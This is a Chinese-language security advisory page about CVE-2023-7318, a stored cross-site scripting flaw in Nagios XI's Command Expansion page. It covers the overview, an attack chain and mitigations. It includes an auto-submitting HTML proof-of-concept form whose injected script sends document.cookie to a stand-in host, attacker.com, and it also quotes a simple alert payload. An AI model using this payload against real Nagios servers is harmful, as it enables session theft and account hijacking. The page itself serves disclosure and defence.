IPBUF安全漏洞报告
English
CVE-2023-7318 CVSS 5.4 中危

CVE-2023-7318 Nagios XI跨站脚本(XSS)漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2023-7318
漏洞类型
XSS跨站脚本攻击
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI

相关标签

CVE-2023-7318Nagios XIXSS跨站脚本存储型XSSWeb应用安全网络监控软件CVE-2023中危漏洞

漏洞概述

CVE-2023-7318是Nagios XI软件中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于Nagios Core Command Expansion页面,由于应用程序对用户输入的数据缺乏充分的验证和过滤,攻击者可以利用该漏洞在受影响的页面中注入恶意JavaScript代码。当其他用户访问包含恶意脚本的页面时,这些脚本将在其浏览器上下文中执行,从而窃取用户的会话Cookie、劫持用户账户、执行未经授权的操作,甚至传播恶意软件给其他用户。攻击者需要具备低权限用户账户才能利用此漏洞,但一旦成功,攻击影响范围可扩展至所有访问该页面的用户。该漏洞的CVSS评分为5.4,属于中等严重程度,主要影响需要用户交互的特点使得攻击需要一定的社会工程学手段。Nagios XI是一款广泛使用的企业级网络和系统监控解决方案,因此该漏洞可能影响大量使用该产品的组织和企业的网络安全。建议受影响用户尽快升级到2024R1.0.2或更高版本以修复此安全问题。

技术细节

该漏洞是一个典型的存储型XSS漏洞,存在于Nagios XI的Nagios Core Command Expansion功能模块中。漏洞的根本原因在于应用程序在处理用户输入时未能正确实施输入验证和输出编码机制。具体来说,当用户通过Command Expansion功能提交包含特殊字符的数据时,应用程序直接将用户输入存储到数据库中,并在后续页面展示时未对输出内容进行适当的HTML转义处理。攻击者可以通过构造包含JavaScript代码的恶意输入,如在命令参数或标签字段中插入<script>alert(document.cookie)</script>等payload,当管理员或其他用户查看相关页面时,这些恶意代码就会在其浏览器中执行。由于Nagios XI通常以高权限运行,XSS漏洞可能被利用来获取敏感信息或提升攻击权限。攻击者可以利用窃取的会话令牌冒充合法用户执行监控配置更改、添加恶意监控目标或提取系统敏感信息。漏洞的利用需要攻击者具备Nagios XI的低权限账户,这降低了一般匿名攻击者的利用可能性,但增加了内部威胁的风险。

攻击链分析

STEP 1
步骤1
攻击者获取Nagios XI低权限用户账户(通过默认凭据、弱密码或社会工程学手段)
STEP 2
步骤2
攻击者访问Nagios Core Command Expansion页面,构造包含恶意JavaScript代码的请求
STEP 3
步骤3
应用程序将恶意payload存储到数据库中,由于缺乏输入验证,脚本代码被直接保存
STEP 4
步骤4
当管理员或其他用户访问Command Expansion页面时,恶意脚本从数据库取出并在用户浏览器中执行
STEP 5
步骤5
恶意脚本窃取用户会话Cookie、凭据或执行其他恶意操作,将数据传输到攻击者控制的服务器
STEP 6
步骤6
攻击者利用窃取的会话信息劫持用户账户,执行未授权操作或进一步渗透系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2023-7318 PoC - Stored XSS in Nagios XI Command Expansion --> <html> <body> <h2>CVE-2023-7318 XSS PoC</h2> <form action="http://target-nagios/ nagiosxi/includes/components/ccm/index.php" method="POST"> <input type="hidden" name="cmd" value="add"> <input type="hidden" name="type" value="command"> <input type="hidden" name="name" value="Malicious Command"> <input type="hidden" name="command" value="/usr/local/nagios/libexec/check_test"> <input type="hidden" name="args" value="'><script>alert('XSS Vulnerability CVE-2023-7318');document.location='https://attacker.com/steal?c='+document.cookie</script><!--"> <input type="hidden" name="enabled" value="1"> <input type="submit" value="Exploit"> </form> <script> // Auto-submit form for demonstration document.forms[0].submit(); </script> </body> </html>

影响范围

Nagios XI < 2024R1.0.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制对Command Expansion功能的访问权限,仅允许受信任的管理员使用;2) 在Web应用防火墙(WAF)上配置XSS过滤规则,拦截包含<script>标签等常见XSS payload的请求;3) 禁用不必要的Nagios XI组件和功能,减少攻击面;4) 实施严格的会话管理和Cookie安全策略(如HttpOnly、Secure标记);5) 加强对用户账户的安全管理,使用强密码策略并定期更换;6) 监控应用日志和用户行为,及时发现异常访问模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表